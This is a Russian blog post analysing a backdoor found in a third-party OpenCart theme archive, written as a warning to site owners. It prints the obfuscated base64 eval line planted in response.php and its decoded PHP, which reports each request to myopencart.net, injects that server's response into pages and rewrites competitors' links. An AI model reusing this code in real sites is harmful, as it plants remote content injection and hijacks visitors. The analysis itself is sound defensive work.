Предисловие
Однажды попросил меня друг посмотреть почему у него не получается установить шаблон на CMS Opencart.
Присылает ссылку на сайт, доступы к административной части и
Так вот, решение проблемы было банальным, шаблон был просто неправильно загружен. В данном случае, его надо было загружать от корня сайта.
Развязка
На этом бы и закончилась история, но в архиве были «лишние» файлы и заменяющие существующие, не связанные с шаблоном. И мне стало интересно, чего же там не хватает, что требуется их заменить.
Добавлялось несколько скриптов в контроллеры, файлы локализации и заменялся /system/library/response.php.
Самым интересным оказался именно последний файл, где я обнаружил вот такие строки:
$ouput = eval(base64_decode('ZnVuY3Rpb24gZ2V0X3BhZ2UoJHVybCl7CiAgICAgICAgJGFnZW50ID0gJ01vemlsbGEvNS4wIChNYWNpbnRvc2g7IFU7IEludGVsIE1hYyBPUyBYIDEwLjU7IHJ1OyBydjoxLjkuMi45KSBHZWNrby8yMDEwMDgyNCBGaXJlZm94LzMuNi45JzsKICAgICAgICAkY2g9Y3VybF9pbml0KCk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9VUkwsJHVybCApOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICRhZ2VudCk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCxDVVJMT1BUX1ZFUkJPU0UsZmFsc2UpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9USU1FT1VULCA1KTsKICAgICAgICAkcGFnZT1jdXJsX2V4ZWMoJGNoKTsKICAgICAgICAkaHR0cGNvZGUgPSBjdXJsX2dldGluZm8oJGNoLCBDVVJMSU5GT19IVFRQX0NPREUpOwogICAgICAgIGN1cmxfY2xvc2UoJGNoKTsKICAgICAgICBzd2l0Y2goJGh0dHBjb2RlKXsKICAgICAgICAgICAgICAgIGNhc2UgJzIwMCc6CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkcGFnZTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAnNDA0JzsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQp9CgppZiAoJGZ0ZW5kID0gZ2V0X3BhZ2UoImh0dHA6Ly9teW9wZW5jYXJ0Lm5ldC9nb29nbGVjb2RlL2FwaS9hcGkucGhwP3NlcnZlcj0iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiImcGFnZT0iLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSl7CiRmaW5kID0gYXJyYXkoIjwvYm9keT4iLCAiPC9odG1sPiIsICJvcGVuY2FydC5jb20iLCAibWF4em9uLnJ1IiwgIm15b3BlbmNhcnQucnUiLCAib3BlbmNhcnRmb3J1bS5ydSIsICJvcGVuY2FydC5ydSIsICJvcGVuY2FydC5ieSIpOwokcmVwbGFjZSA9IGFycmF5KCIiLCAkZnRlbmQsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIpOwokb3VwdXQgPSBzdHJfcmVwbGFjZSgkZmluZCwgJHJlcGxhY2UsICRvdXB1dCk7CmluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwib2ZmIik7CmVycm9yX3JlcG9ydGluZygwKTsKZWNobyAkb3VwdXQ7fQplbHNlIHsKZWNobyAkb3VwdXQ7Cn0='));
В оригинальном файле, конечно, этого не было.
После декодирования это, естественно, оказался бэкдор:
function get_page($url){
$agent = 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ru; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9';
$ch=curl_init();
curl_setopt ($ch, CURLOPT_URL,$url );
curl_setopt($ch, CURLOPT_USERAGENT, $agent);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch,CURLOPT_VERBOSE,false);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$page=curl_exec($ch);
$httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
switch($httpcode){
case '200':
return $page;
break;
case '404';
return false;
break;
}
}
if ($ftend = get_page("http://myopencart.net/googlecode/api/api.php?server=".$_SERVER['SERVER_NAME']."&page=".$_SERVER['REQUEST_URI'])){
$find = array("</body>", "</html>", "opencart.com", "maxzon.ru", "myopencart.ru", "opencartforum.ru", "opencart.ru", "opencart.by");
$replace = array("", $ftend, "myopencart.net", "myopencart.net", "myopencart.net", "myopencart.net", "myopencart.net", "myopencart.net");
$ouput = str_replace($find, $replace, $ouput);
ini_set("display_errors","off");
error_reporting(0);
echo $ouput;}
else {
echo $ouput;
}
Этот код не только заменяет ссылки конкурентов и официального сайта, но и позволяет внедрить все, что угодно.
С вышеуказанного сервера возвращается ответ:
</body></html>
Но, что мешает вернуть php-код.
Такие дела.
Заключение
Для проверки и подтверждения своих опасений я пошел на официальный сайт opencart.com в раздел «Партнеры». Где указан оф. сайт РФ opencart.ru, собственно это и подтвердило, что myopencart.net является фишинговым сайтом.
Будьте бдительны и проверяйте, что устанавливаете!
Автор: skey